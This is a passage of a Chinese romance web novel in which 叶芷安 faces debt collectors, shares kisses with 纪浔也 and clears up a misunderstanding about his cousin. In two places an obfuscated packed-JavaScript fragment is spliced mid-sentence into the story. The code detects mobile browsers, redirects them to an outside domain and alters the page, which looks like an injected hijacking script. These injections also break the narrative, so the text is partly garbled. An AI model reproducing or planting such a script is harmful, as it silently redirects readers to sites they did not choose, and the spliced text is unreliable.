自那天起,江遇就退出了小团体,频频出现在叶芷安视野里,他不仅跟她道歉,也会给林薇霞买一堆超出他经济承受能力的补品。 这些东西一开始和他这个人一样,通通被叶芷安拒之门外,实在烦了,就默认他狗皮膏药般的存在。 后来叶芷安还听人说自己在北城上学这段时间,都是江遇在照顾林薇霞。 可即便如此,她还是无法原谅江遇的“一时失足”,更别提不计前嫌地信任他,现在她只要一见到他,她就会开始担忧他对她们的照顾并非是为了补偿,或者说弥补当年犯下的错误,而是另有图谋。 陈旧的时光被撕开,叶芷安遍体生寒,林薇霞不顾身上的伤,用力将她揽进怀里,“昭昭啊,外婆不是要你原谅他们,只是想让你往前看,不要停在过去的某一段时间里,拿别人的错误耿耿于怀一辈子,这样到头来折磨的还是自己。” 叶芷安轻声应了句:“我知道了。” 二楼各个房间受损情况不严重,叶芷安简单整理了下,潦草吃完午饭后,继续收拾一楼客厅和厨房的狼藉。 林薇霞想来帮忙,叶芷安不肯,找邻居借来一唱戏机,给她放京剧和黄梅戏听。 林薇霞一心二用,边听边提醒她注意手。 满地的碎片残渣看着实在碍眼,叶芷安没忍住抱怨了句:“哪家放高利贷的大过年还来讨债的,这不存心不想让我们过个好年吗?” 转瞬听见院门被推倒的声音,混进来一道雄浑男嗓,“是我家放高利贷的,怎么了,小姑娘这是不服气?这么能说会道的,怎么不见你把本事用在挣钱上?要我说,你要是能早早替你那不成器的爹还完债,我也犯不着大过年的赶着来让你们不痛快啊。” 叶芷安放下扫帚,“今年约定的时间还没到,你们急什么?” “这不是提前让你们有个心理准备?” “心理准备?”她表情冷了下来,“托你们的福,家不像家的,我外婆也受了伤,这就是你之前说的''以德服人''催债手段?” 老杨挂着虚情假意的笑容,“新来的出手确实没个分寸,伤着了你外婆,还请多多见谅,这样,房子里损坏的东西修不好的我们照价赔偿,当然也可以直接用来抵债,至于这些破窗户、破门,今天下午我就找人来给你们补上,你们觉得怎么样?” 这人上门催了近十年的债,一次比一次会说漂亮话,背地里的狠辣手段却是层出不穷,叶芷安看破不说破,在心里学着苏念呐喊起:妖魔鬼怪,退退退! 叶芷安以为老杨只是随口说说,结果下午两点不到,他还真找来几个木工,到处修修补补,第二天中午正式完工。 两天后,林薇霞腰不怎么疼了,将做好的旗袍交到叶芷安手里,“这是你秦老师拜托我做的,你现在去送给她。” 叶芷安看着光秃秃的面料,“这不是还没有完成吗?” “我只负责裁剪缝合,至于刺绣纹理,你秦老师想自己一针一针钩出来。” 她哦了声,将旗袍装进袋子,循着记忆里的路线敲响秦之微家门。 没人应。 秦之微在电话里说:“我人还在市集,你先进屋坐会儿,大概半小时我就能回去。” 叶芷安应了声好,等对面挂断后,将手机放回口袋,在庭院的石凳上坐了会,忽然想起那年红梅下的雪和人,如出一辙的清绝冷傲。 困意来袭,她抱着袋子打起盹来,睡得浅,被落叶扫地的动静惊扰到,猛地一怔,还没缓过来,又被吓了一跳。 纪浔也就坐在她对面,懒散托着下巴看她,她差点溺死在他柔煦的目光中。 溽热的水汽扑过来,一霎工夫,连她的眼都潮湿得不成样子。 “你怎么在这儿?” 其实在她回孟溪镇的前一晚,他们有通过电话,她告诉他明天早上她就会回梦溪镇,未来有段时间看不到他了。 她不信他听不出她话里的低落,偏偏他只简单地回了四个字:“谁知道呢?” 她的思绪沉浸在他轻描淡写的口吻里,彻底忽视这话背后可能代表的含义,现在回想起,他当时是存了几分心思逗她的。 纪浔也拨开她头顶的枯叶,“想见你就来了。” 参杂着假意的真心最能迷惑人的心智,叶芷安心脏狂跳,唯恐被他听到,忙不迭起身,退开两米。 纪浔也觉得她这反应有些奇怪,正要开口,一道女嗓插了进来,是秦之微回来了:“昭昭,等很久了吧?” 纪浔也知道小姨在刻意无视自己,也不恼,提唇笑了笑,“你外甥这么大的人,你是一点儿都看不到啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14135456|150068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦之微这才斜眼睨他,“之前不是还说不回来了,怎么就改变主意了?” 叶芷安心里有鬼,突然被自己口水呛了下。 秦之微拍拍她后背,同时递给纪浔也一个“你的事待会再说”的眼神,“昭昭,我们不理他,先上楼。” 秦之微目前一个人住,两间卧室并做一间,显得面积很大,布置很像民国时期的大小姐闺房,复古家具,木雕工艺精致,空气里飘散着若有若无的脂粉香。 很久以后,叶芷安才知道曾经的秦家显赫一方,二十世纪末才日渐式微,然而瘦死的骆驼比马大,凭借良好的名声底蕴,不少豪门世家前来提亲,其中就有北城纪家。 纪浔也父母结婚没几年,秦家出了事,一落千丈,纪家唯恐惹祸上身,不仅没有伸出援手帮扶一把,暗地里还动用各种关系,逼迫秦家离开北城。 秦晚凝和秦之微姐妹并未跟随主家一起搬移内陆城市,而是去了江南,一直到秦晚凝自杀离世,秦之微也没有离开梦溪镇,一个人化身成浮萍,在碧波里飘摇。 叶芷安把袋子递过去,“秦老师,这是外婆让我给你的。” 秦之微接过,拿出旗袍,笑着说:“你外婆这手艺是真的好……对了昭昭,楼下那人你还有印象吗?你们以前见过的。” 话题岔开得突然且生硬,叶芷安一顿,点点头,“记得,我们在北城也见过几面。” “他没欺负你吧。”秦之微印象里的纪浔也不着调到极点,嘴皮子功夫贼溜,谁都讨不了好,更别提像叶芷安这种文静乖巧的小姑娘,在他跟前,估计只有受欺负的份儿。 叶芷安忙摇头,“没有的,他还挺——关照我的。” 她除了这个词,真就挤不出别的了。 秦之微若有所思地垂下眼帘,两秒后嘴角带出一点笑,牵住她的手朝衣柜走去,“之前让你外婆多做了件合你尺寸的旗袍,我给钩上刺绣,你快试试,看喜不喜欢。” 那是一条烟青色的苏式旗袍,用的素绉缎,领口、衣缘处处可见精妙的苏绣,裹在身上,线条一览无余,泻出流水潺潺的灵动感。 见到换好旗袍的叶芷安,纪浔也就想到了三月的江南,烟波荡漾,绿柳青青,至于肩上披着的白色短款皮草,给她在清亮的基础上,增添几分雍容华贵。 她还专门挽了头发,唯一美中不足的是,缺少一计适合她的发簪。 “纪浔也,我这么穿好看吗?” 小姑娘献宝似的在他面前转了一圈,纪浔也喉头滚动两下,说不出别的,只让自己的笑停在眼角眉梢。 另一个看到发愣僵滞的还有路过的江遇。 纪浔也自然也注意到了他,那眼睛里的东西不清白,存着什么心思昭然若揭。 一会是大学同学,一会是古镇青年,小姑娘还挺招人。 明媚的笑靥在这时晃进眼底——也确实有招人的资本。 纪浔也笑容不减,突然攥住她的手,往自己怀里带,她的手比自己小了一大截,手指纤长漂亮,手背上的皮肉薄薄一层,青筋血管半遮半掩,但不显孱弱。 她的腰可真细,一手就能环住,软的像豆腐。 她的气息很好闻,应该是她身上沐浴露的味道,是栀子味的,攻击性不强,渗透感却相当强烈,能钻进他脑髓似的,后来很长一段时间他就只能记得这气味。 两个人的大腿相贴,一个游刃有余地享受着,另一个像被抽干了力气,无法动弹,空有一张嘴问对方:“你干什么呀?” 叶芷安强迫自己不把视线落在他小幅度弯起的唇上,于是下压,迎来的却是他嶙峋的喉结,这是他身上最有欲色的部位之一。 还不如盯着他的嘴唇看。 娇滴滴的吴侬软语把人的心弦拨弄得乱七八糟,偏巧这时,她的指腹又不留神从他的喉咙划到心脏。 纪浔也没再忍住,当着偷窥者的面,在她唇角留下蜻蜓点水般的一吻。 10. 10 第一场雪 回到家时,叶芷安两腮和耳廓都还是红的,好在林薇霞正在二楼休息,没机会看穿她前所未有的羞赧,而这也给了她足够时间去调整自己的心跳和呼吸节奏。 其实在那个吻结束后,还发生了段小插曲,她当时完全懵了,只顾盯住他的唇看,片刻昏头昏脑地来了句:“都说人老了嘴唇会变薄,纪浔也,你的唇本来就薄,再过几十年,岂不是会变成两条线?” 纪浔也没料到她会说出这么煞风景的话,人就跟个一辈子开不了窍的榆木疙瘩一样,只有微颤的长睫,显出她的生动活泼。 他轻叩她脑门,她下意识抬起了眼,极近的距离下,没有人的视线能躲过另一个人的追捕,她的睫毛颤抖得更厉害了。 有那么几秒,纪浔也感觉有一万只蝴蝶扑簌簌地扇动翅膀,朝他坠落。 他想用眼神接住,偏偏有几只漏网之鱼,掉在他心脏上,翅膀还在一张一合,刮得他心肺酥麻难耐的。 “想知道的话,你以后都跟在我身边不就行了?” 叶芷安那会还不理解“跟”的潜台词,想当然地将这当成撩拨人的情话。 她觉得他这个人好奇怪,不张嘴时,清清冷冷的,拒人于千里之外,像个孤傲的贵公子,一张嘴,就是在给人灌迷魂汤,低哑缠绵的笑声扑进耳膜,只让人生出自己耳朵正被他调戏着的错觉。 叶芷安慌乱地跳下他大腿,丢出一句“你老这样逗我”逃离院子,然后头也不回跑到青石板路尽头。 傍晚时分,小巷弥漫着浓重的烟火气息,叶芷安将淘好的米放进电饭煲里,托着下巴看显示器里的倒计时,没多久余光进来一双黑色板鞋。 她不用抬头也知道是谁,离开秦之微家时,她就看见了他。 如果没猜错的话,刚才那些画面,他全都看到了。 那秦之微呢?她在二楼有没有注意到? 叶芷安意识到这点,突然像做错了坏事,脊背僵到挺不起来。 江遇隐着怒气的声音将她的思绪拉扯回来,“那男人是谁?” 叶芷安没说话,心不在焉地指向一处。 江遇抬起头,夜幕之上,只有一轮可望不可及的明月,他倏得绷紧了唇。 “他对你是认真的?” 叶芷安一怔,终于回过神,微抬下巴回敬一个冷冽的眼神,“我的事情跟你有什么关系?” 不管江遇现在对她外婆有多好,她都不想再和他产生半点交集。 江遇情急之下,扣住她手腕,“我见过他这种人,也见过更多被他这种人伤害过的女人,没有一个是好下场的,所以叶芷安,你千万别犯傻。” 叶芷安反感他僭越的行为,卯足了劲,反手挣脱开,连连后退几步,腾出距离后一脸平静地说:“我知道你想说的不是犯傻,说白了,你觉得我和他在一起,我就是在轻贱自己,可你怎么知道我想从他身上得到的东西和你想的一样?” “那你想要什么?” 江遇想让她把话说得再明白些,林薇霞的出现让这话题不了了之。 叶芷安却没有停止对自己抛出的这个问题的思考。 对她而言,纪浔也就像色素染成的劣质糖,明知对身体有害,却因贪恋那点甜,忍不住一颗一颗地往嘴里喂,穿肠烂肚了,也不见得有多后悔。 第二天大清早,叶芷安拿着林薇霞提前准备好的祭品和香油蜡烛,准备去趟澄明寺。 半路听见一声:“去哪儿?” 这嗓音过分耳熟,叶芷安愣了一瞬,扭头前乖乖答道:“去寺庙。” “这么早去,寺庙开门了?”纪浔也个高腿长,没几步追上她。 梦溪镇拂晓时的天,不含任何工业污染后的灰蒙,是澄净的靛蓝色,他的脸被映出一种虚化的白。 “年前几天是特例,澄明寺会提前半小时开门。” 叶芷安多补充了句,“这是我家的习惯,每年过年前都要去庙里供奉,不过今年外婆腰伤没好,我就代替她去了。” 她最后还问,“纪浔也,这个点你不睡觉在外面做什么?” 纪浔也面无表情地回道:“睡不着,出来走走。” 他今天穿了西装,领带也束得规规矩矩,一丝不苟的打扮根本不像是出来散步的,叶芷安还闻到他身上有股极淡的花香,勾起人想要探究到底的心,但理智告诉她,这件事她不该问。 就在她放弃打破砂锅问到底的念头时,手上的重量突然消失,是他拿走了装满祭品的竹篮,一面说:“陪你一起去。” 叶芷安快步跟上,好奇地问:“你也想拜佛?” “我不信那东西。” 佛祖脚下,他的恣睢一点儿没收,佐证他骨子里就是个天不怕地不怕的人。 “那你信什么?”她抓住来之不易的机会,想要更多了解他。 纪浔也单手插兜,淡声说:“什么也不信。” 山脚到澄明寺数百节阶梯,顶端烟火袅袅,望不到尽头,风起后,潮湿的冷气直冲喉管,渐渐的,肌肉也开始泛酸,叶芷安脚步慢了下来。 纪浔也恰好在这时接了个电话,不耐烦的态度不仅表现在他的语气里,脚下的动作跟着快了不少,几秒工夫,将她甩下一大截。 叶芷安只能仰面去寻他的身影,利落挺拔,但因背着光,又被雾色遮盖,显得不太真实,宛若高高在上的云间月。 她的力气突然像被抽空一般,停下不动了。 腾出十余节台阶的距离后,纪浔也终于察觉到异常,止步回头,对上她不安执拗的一双眸,心头那点躁意忽然变成无可奈何的一声叹息,直接掐了电话,退回到她身前,轻声细语地问:“怎么了?” 叶芷安哑着嗓子回:“你走得太快,我跟不上。” 她的眼睛一片干涩,纪浔也却莫名其妙瞧见她心底委屈的泪,主动把手递过去给她牵,“我拉着你一起走。” 叶芷安也不知道自己当时怎么想的,明明他都做出让步示好的行为,她还是一动不动的。 两个人的外形都出挑,自带吸睛效果,僵持不下时,轻易招来不少注目礼。 等一波人流散尽,纪浔也压抑了一晚的烦躁情绪卷土重来,从齿缝碾出几个字:“真是欠你的。” 他背朝她蹲下身,还幼稚地玩起数数游戏,“我数三秒,自己上来,不然我真一个人走了。” 压根没用三秒,后背就贴上一具温热柔软的躯壳,他一时半会都分不清这姑娘究竟是难伺候还是好哄了。 香客络绎不绝,光排队等待就花了他们近三个小时,下山时,他们身上全是呛鼻的香火味道,叶芷安悄悄打量男人,捕捉到他眉宇间的不悦,以为他是在生自己刚才胡搅蛮缠的气。 “纪浔也。”她轻声开口。 他敛神,侧眸看去,下意识放缓语调,“又走不动了?” 叶芷安摇头,间隔几秒,打开一个无关紧要的话匣子,“你刚才拜过佛了吗?” 纪浔也也摇头,“没什么想要的。” 他的欲望和他此刻的口吻一样淡,看向她的目光却不是,“你呢?” 叶芷安说:“我刚才也没有给自己许愿。” 她是替她外婆上的香,许的愿自然都和自己的欲望无关。 纪浔也还想说什么,又有电话打来,这回是纪时愿。 他含糊应了几声,等到通话结束,偏头对叶芷安说:“我还有事先走了。” 叶芷安那声“哦”还没说出口,听见他又问:“晚上陪我一起去夜市逛逛?” 她哪有什么道理拒绝呢。 纪浔也补充:“晚上八点,直接夜市门口见。” 估计要处理的事不小,撂下这一句,他转身就走。 叶芷安望着他出尘的背影,发了好一会儿的呆。 说是八点,结果吃完晚饭叶芷安就出发去了集市,一个人孤孤单单地站在街口,听着小贩的吆喝声,偶尔有人过来推销自己的手工编织品,也有来搭讪的,她只沉默着摇头,次数一多,心生烦意,摆出一张冷漠脸,试图用生人勿近的姿态终结陆续不断的骚扰。 ——奏效。 心里的得意没维持太久,她看了眼手表,已经是八点十分。 半小时后,纪浔也还是没有出现。 叶芷安担心他是不是路上遇到什么事,想打电话给他,发现自己出门匆忙忘带手机,好在她还记得他的号码,于是飞快跑去最近的小卖部,拨出后却被对面挂断。 她这才想起他有不接匿名电话的习惯,无措几秒,回到原位。 站的时间实在太久,她的双腿出现充血般的僵麻感,敲打揉捏两下后,很没形象地坐到地上,双臂抱膝,眼睛直勾勾地盯住往来的行人看。 十点,她意识到他不会来了,顶着被冷风吹僵的脸,折返回家。 但要是说没存下一点能在半路撞见他的侥幸心理是假的,回程路上,她的脑袋一直东张西望着。 最终她的期待成真,在一定程度上,却也落了空。 灯柱旁,一对男女亲密地站在一起,她大致估算了下,他们胸前的空隙不会超过十公分。 男人微侧过身,将女人挡得严严实实,顺势拦下叶芷安探究的目光。 凉意瞬间贯穿叶芷安的整个脊梁,随后以迅雷之势冲上她的脑髓,就像被电击一样,比起痛楚,更多的是震颤后带来的酥麻感,驱动人不知疲惫地哆嗦着身体,幅度大了些,变成抽搐,她感觉自己快要代替那两个人被混沌的夜色吞噬了。 她倏地转过身,跑进一条小巷,长街昏黄的灯光吸引不少飞蛾不要命地往上撞,也将她的影子拖得狭长又疲惫。 林薇霞被她回来的动静吓了一跳,披上棉服,去她房间查看情况,看见她趴在床边,呜呜咽咽地哭着。 “出什么事了?” 叶芷安一僵,拿手背胡乱抹了下脸,抬头的同时,挤出一个别扭的笑脸,“外面太冷,都给我冻哭了。” 她不想让外婆过分担心,至于另一方面,是因她无话可说。 说她被喜欢的人放了鸽子,又玩弄了感情? 那个人都没有对她说过一句喜欢、爱,也没有给过她任何承诺,甚至从未明确过他们之间的关系。 她自然没有什么资格好哭好委屈的。 至于他对她会有不一样的关怀和宠溺,或许只是因为他一时无聊,又恰好对她有那么一点兴趣,才会配合她上演这些俗套的言情戏码,终归逃脱不出逢场作戏的本质。 林薇霞没有拆穿她的谎言,淡笑着说:“赶紧去泡个热水澡吧,洗好后再喝杯姜茶暖暖身子。” 叶芷安点头,吸吸鼻子,“外婆,今晚我能和你一起睡吗?” “我可巴不得呢。” 上床后,叶芷安一把钻进林薇霞怀里,东扯西扯一通,委屈的泪又都不住了,这回说了实话。 “外婆,我喜欢上一个人,喜欢了好多年,但我对他的了解太少太少了,现实里,他可能远没有我认为的那么好、值得我不管不顾地去爱……所以现在,我已经不知道该怎么面对他了。” 林薇霞轻抚她的发,忽而想起她那失踪多年的母亲,眼神有些失焦,好半会才叹了声气说:“昭昭,人这一辈子总要不顾一切地去爱一次,就算以后你意识到自己爱错了人,这也只能算成是一段让你又痛又欢喜的经历,而不是你的整个人生。” “外婆不希望你能坚强到无所畏惧,只希望你能永远大大方方地走在阳光下,做个不管跌倒多少次,都有勇气重新站起来的战士。” “所以,尽管放手去爱吧……我们昭昭这么好,未来有一天一定会享受到很多很多被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14135457|150068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱的滋味。” 那晚,在林薇霞吟唱的民谣曲中,叶芷安平缓地睡了过去,第二天醒来,才想起看一眼手机。 微信里有条未读消息,发送时间是昨晚18:26。 纪浔也:【临时有事,逛夜市往后挪挪。】 - 那天过后,纪浔也再没见到叶芷安,给她发消息,这姑娘跟他玩起已读不回那套,秦之微的电话,她倒是一个都没落下。 纪浔也从来没被人这么直接地摆过架子,恼怒的同时,又觉困惑,不知道自己又是哪儿惹到这位心肠时软时硬的祖宗了。 总不可能只是因为自己临时变了卦——似乎也有可能。 纪浔也拿上手机下了楼,“小姨,叶芷安家在哪儿?” 秦之微眼皮一抬,“你找她做什么?” 纪浔也不避不让地迎上她探究的目光,淡声回:“之前有东西落在她那儿,得去取回来。” “出门右转,经过两座石拱桥,左转,沿着锦熙巷一直走,36号那户人家就是。” 纪浔也用脑子记下了,回房换了身衣服打算出门。 秦之微眯起眼睛,似笑非笑,“要个东西而已,有必要穿得跟花孔雀一样?” 他回以阴阳怪气的调:“我是您外甥,在梦溪镇的一言一行可都代表着您的颜面,总不能因为邋里邋遢的形象给人留下一个坏印象。” 秦之微说不过他,眼不见为净地挥了挥手,让他赶紧走,纪浔也收了笑,快到院门口时,听见他小姨慢悠悠地补了句:“什么该做,什么不该做,你自己心里有数。” - 见到纪浔也那一刻,叶芷安产生了些不真实感——她是真没想到他会亲自上门找她,一时间五味杂陈。 来找她前,纪浔也准备了开场白,只是被那双倔强的眼一盯,经由合理措辞构筑成的城墙堡垒瞬间稀里糊涂地被撞碎,变成一地黏黏糊糊的豆腐渣。 沉默的氛围持续了会,他故意摆出凶相:“说话。” 她哑着嗓子回应,眼眶泛起红意,“你要我说什么?” 纪浔也叹了声气,指腹捻了捻她眼尾渗出的晶莹,“你见过哪个死刑犯在行刑前还不知道自己罪名到底是什么的?” 叶芷安听出他的意思,突然也不想采用迂回战术了,直截了当地问:“既然你有女朋友,为什么还要——” 招惹我。 难以启齿似的,她停下不说了,一面又觉得不该过分苛责于他,毕竟是她事先没有问清楚他的感情状况。 再者,招惹这个词用得不太贴切,他们之间的磁场关系,更像一个愿打一个愿挨。 纪浔也无意识泄漏出事不关己的矜冷,然后是零散的困惑,很轻很快地拧了下眉,“什么女朋友?” 他是真不明白她在说什么。 叶芷安曲解他的意思,以为他想装傻充愣到底,或者说在他看来,那位漂亮女生算不上女朋友。 也是,他们这种身份的,恋爱这说法不贴切,用“养鱼”更合适,所谓的女朋友也不过只是情人。 是她把一切想得太理想化了。 叶芷安不喜欢吵架,但也不爱通过一味的自欺欺人来回避矛盾本身,深吸一口气,给自己壮胆后把话挑明:“我都看见了,那天你和别人在一起,你们贴得很近,应该还接吻了——” 她还想细致地形容一下那女生的外貌、气质,冷不丁被纪浔也打断,他又气又笑,“那是我妹。” 谁和妹妹会做这么亲密的举动? 他当自己在玩骨科呢? 叶芷安接话没经大脑,用比他还高的嗓门回怼了句:“去你妹的。” 早就紧绷成一根弦的空气,随着这四个字落下时,被人拨弄了下,发出厚重绵长的回音,惊的人浑身一颤。 叶芷安迟钝地反应过来自己到底说了什么傻话,白皙的肤色瞬间被满满的潮红占据,想找补,一时又没途径,于是低下头,兀自懊恼,也恨不得将自己埋进地里。 她有一下没一下踢着脚边的碎石子,全然不知对面的男人已经从兜里掏出了手机,摁下相机功能,并调成自拍。 “先不提是不是我妹,你怎么就看见我和她接吻了?” “那姿势看着就像接吻。” “看着像?”他几乎要咬牙切齿了,外人看着,他才更像要秋后算账的那一方。 叶芷安听出他的不悦,底气不足地回道:“总不可能跟电视剧里一样,你是在给她吹沙子。” “是没在给她吹沙子。” 他态度突然变了样,承认得坦荡,她被打了个措手不及,微微瞪大眼睛,说不出话。 纪浔也喜欢她这副傻里傻气的模样,带着一种不含修饰的天真可爱,是他在遍布假面、个个粉墨登场的名利场中见不到的。 烟花升空的响声从遥远的天际传来,炫彩的光束也因距离变得不那么分明,是朦朦胧胧的亮。 纪浔也不再玩拖拖拉拉那套,单手擒住她下巴,用唇堵住她的呼吸,不同于那天的蜻蜓点水,他用了蛮横的力,长驱直入,好似要通过这种方式摧垮她筑起的心理防线。 成熟男性的气息第一次入侵得如此彻底,叶芷安节节败退,双手双腿都开始发软。 就在她快要撑不住前,他擒住她柔软的腰肢。 “叶昭昭,我最后再明明白白地问你一句,你看见我跟那人这样嘴对嘴了吗?” 叶芷安胸腔里的鼓噪声比烟花爆竹声还要大,勉强听清他说了什么,视线偏转,落在他高举的手机上。 幽暗的屏幕里,唯有两张白皙的脸是清晰的,他们有着同样直挺细窄的鼻梁,鼻尖相抵,往下是紧密贴合的唇瓣。 他大拇指一滑,跳到下一张自拍。 他们的唇离开了些,牵出一道暧昧的银丝。 11. 11 第一场雪 只一霎,叶芷安那冰霜凝成的冷白脸蛋上升起柔和的胭粉色,毫不费力地展露出她这个年纪的女孩最为纯粹青涩的羞赧。 没有人望见这一幕,还能心如磐石,当个不受蛊惑的正人君子。 纪浔也摁住她瘦削的肩胛骨,往自己胸膛挤,第二个吻还没降下,怀里的人满脸警惕地看着他,生怕他使出更流氓的行径。 错愕之下,难免又觉得好笑,不自觉松开了手。 叶芷安趁机有了行动。 她个子不矮,奈何在男人面前,还是差了一大截,不管她怎么伸手、踮脚,永远都够不到那手机,更别提消灭那两张罪证。 她一急,一个不留神踩上了他的脚,事后还毫无察觉,清亮的嗓音高了两个度,“你快把照片删了。” 这一脚的力道不算轻,纪浔也却和感知不到疼痛一般,挂在嘴角的笑意分毫不减,“又不是什么见不得人的东西,删什么?” “要是被别人看到了……” “你当我手机是路边的花花草草,谁经过都能瞟上一眼?” “那万一你手机被人偷了,里面的信息全曝光了呢?” 纪浔也哭笑不得,用食指轻轻顶她额头,“你就不能盼我点儿好?” 叶芷安梗着脖子,底气不足地回怼道:“那你就对我好点儿呀。” 纪浔也把手机扔回口袋,单臂揽住她的后腰,将人放到拱桥边的石墩住上,才低哑着嗓子反问:“我还对你不够好啊?” 她身后是潺潺的流水、昏茫的夜色,还有他撑在栏杆上匀实有力的手臂,也不知道是怕不留神仰头摔进河里,还是被他灼热的气息拨弄到,叶芷安心脏砰砰直跳。 沉默持续了几秒,她轻声说:“那天晚上我没带手机,但我八点多的时候,给你打过电话的。” 纪浔也回忆了下,好像是收到了一通陌生来电,不过他当时没有多想直接掐了,“我不知道那是你。” 她低低回了声“嗯”,是不太开心的语调,就像在说:我知道了,但这不代表你有合理借口挂断我电话。 同样的反应换个人表现出来,纪浔也都会觉得那人在胡搅蛮缠、蹬鼻子上脸,但对她,他似乎没有一点反感,反而觉得好玩,抬手捏捏她唇边的软肉,也是这处地方,她一笑起来,就会出现一道小括号。 “行,我跟你保证,以后别说中国大陆打来的陌生号码,就算是缅甸、尼泊尔……” 他一连蹦出十来个国家名,“我都照接不误——这下满意了吗?” 哪成想,这姑娘的关注点清奇得过分,软软糯糯地往下接了句:“缅甸的电话还是别接了,有点危险,我不想你出事。” 纪浔也被堵得哑口无言,片刻从胸膛闷出一声笑,笑声消散的同时,不远处一扇木门被人推开,走出两个五六岁模样的孩童,各自手里捏着几根仙女棒。 纪浔也覆到叶芷安耳边,让她乖乖坐着别动后,大步流星地朝那俩孩子走去,不知道说了什么,又拿出什么东西作为交换,不到半分钟,天资卓越的谈判家满载而归。 在纪浔也的眼神示意下,叶芷安从他手里抽出一根,攥紧在自己掌心。 “一根就够了?” “就先一根吧。”她想让时间过得慢点。 纪浔也应了声“行”,拨开打火机盖,点上,霎时火星四溅。 落在青石板路上的两道影子,一高一低,部分重合到一起,叶芷安悄无声息地往他的方向倾斜几度,交叠的面积更多了。 隔了两秒,她抬起手,细碎的烟花在他们中间继续跳跃燃烧,月色下,两个人的脸都被映到发亮。 火星熄灭的转瞬之间,纪浔也拉过她的手环住自己腰际,从她眼皮、鼻尖一路吻到她嘴唇,末了,拿额头抵住她的,哼笑两声,然后开始解释,“你见到那人真是我妹,只不过是我四叔的女儿,她是那天早上来的梦溪。” 叶芷安打断,“所以你那天早上说的有事就是去接她?” “最后那通电话是她打来的,不过不是去接她,她那航班延误到下午四点多才到,我发消息给你那会,那不省心的刚下的士,运气不好,在镇口被人抢走了包,我去找她后,拉着我诉苦了俩小时。” 叶芷安感觉他再这么贴着自己额头说话,她的心脏就会跳出胸腔,于是将脑袋后仰了些,拉开与他幽暗瞳仁的距离,又问:“可这跟你们那晚贴在一起有什么关系?” 纪浔也拿她是真没辙,有气无力地笑了声,“你能不能一次性让我把话说完?” 她也叹气,“那你说吧。” “……” 听听这勉为其难的口吻。 纪浔也皮笑肉不笑道:“她那天祸不单行,被抢了包之后,发现自己眼皮上长了颗麦粒肿,我那会在替她拿手机自拍镜头当镜子照呢,我俩的嘴巴非要说亲到了什么东西,那就只可能是手机。” 叶芷安一时间难以消化这串信息,“你再让我好好捋捋。” “捋什么?” “捋你刚才说的那些话几分真几分假,是不是哄人开心的。” 纪浔也听乐了,“你对谁都这么大的戒备心?” 露出迷惑反应的人变成了叶芷安。 他每次亲她,她都没有推开,换做别人,在他们别有居心靠近的那一刻,她就已经甩去一个巴掌,或踹向他们命根了,这算哪门子对他有戒备心啊。 纪浔也把话挑明:“怎么我说什么,你都得恨不得掰碎了一个字一个字地往下咽?” 原来他是这个意思。 可这还不是因为她对他的心思不单纯,所以才会下意识地揣测他每句的话外音? 叶芷安没接,推推他胸膛,“我要下去了,你先离我远点。” 她有些庆幸,大晚上的夜色浓重,不至于被他看穿自己快要被蒸熟的耳朵。 纪浔也小幅度点了下头,转瞬退出两米远,“你要是还不信我的说辞,我这就带你去见见她。” 说完,他就往来时的方向返回,双手插着兜,假装没等她,结果一步才挪出一厘米,不输给她的磨蹭。 过了十余秒,终于把人等来了。 两个人走得依旧很慢,最后七分钟不到的路程,让他们花了足足两倍时间。 秦之微正坐在沙发上看书,听见交错的脚步声,缓慢抬起头,不期然迎上纪浔也不达眼底的笑意,“不到四十分钟我就回来了,秦老师,这算不算你要求的快去快回?” 秦之微压根不想搭理他,看着他身后的叶芷安,一顿,“昭昭,你怎么过来了?” 这事解释起来,只能叫人面红耳赤,叶芷安动了动嘴唇,纪浔也抢先说:“她太久没来问候你了,心里过意不去。” 明明是他带她来的,怎么就成她的原因了? 他这人还真是满嘴跑火车。 叶芷安偷偷瞪他眼。 纪时愿这几天都住在这儿,听见动静后,从厨房探出脑袋,视线也在叶芷安身上定住了。 素白的脸,单薄的身型,这就是二哥身边的女人?怎么看着大学都没毕业?好像还有点眼熟。 她搜肠刮肚一番,终于和存放在大脑里的人脸档案对上号了。 这不就是那调酒师妹妹么? 她就知道,她这不着调的二哥早在酒吧就看上对方了,不然也不会亲自送人去医院。 ……男人。 纪时愿的眼神直勾勾的,毫无避讳之意,纪浔也上前拦下,隔空指着她脸说:“你脸上糊了面粉。” 纪时愿注意力一下子被转移走,对着玻璃照了好一会儿,然后开始委屈巴巴地控诉:“秦姨说我既然住在她家了,就得付房租,但她又不要钱,非要让我包饺子给她吃……二哥,你也知道我这辈子就没下过厨房,这简直和要我的命没什么两样。” 纪浔也露出爱莫能助的表情,“那你继续,没包好就别出来了。” 纪时愿想打人的心都有了,眼珠子一转,把主意打到叶芷安身上,忙上前将人拽到厨房,“妹妹,你来帮帮我。” 叶芷安毫不扭捏,爽快应了声“好呀”,揉面粉前先去洗了手。 窗户半边开着,橙黄的光束投射进来,和屋里的冷白灯光交织在一起,把人的脸都照得有些晨昏难辨了。 叶芷安视线微垂,落在她们沾满面粉的双手上。 和她不一样,纪时愿拥有一双养尊处优的手。她的呢,看着柔软,捏起来却不那么细腻,甚至称得上有些粗糙。 憋了五分钟,纪时愿终于憋不住了,开始八卦:“你和我二哥什么时候认识的?” 叶芷安在“四年前”和“一个多月前”两个回答中选择后者。 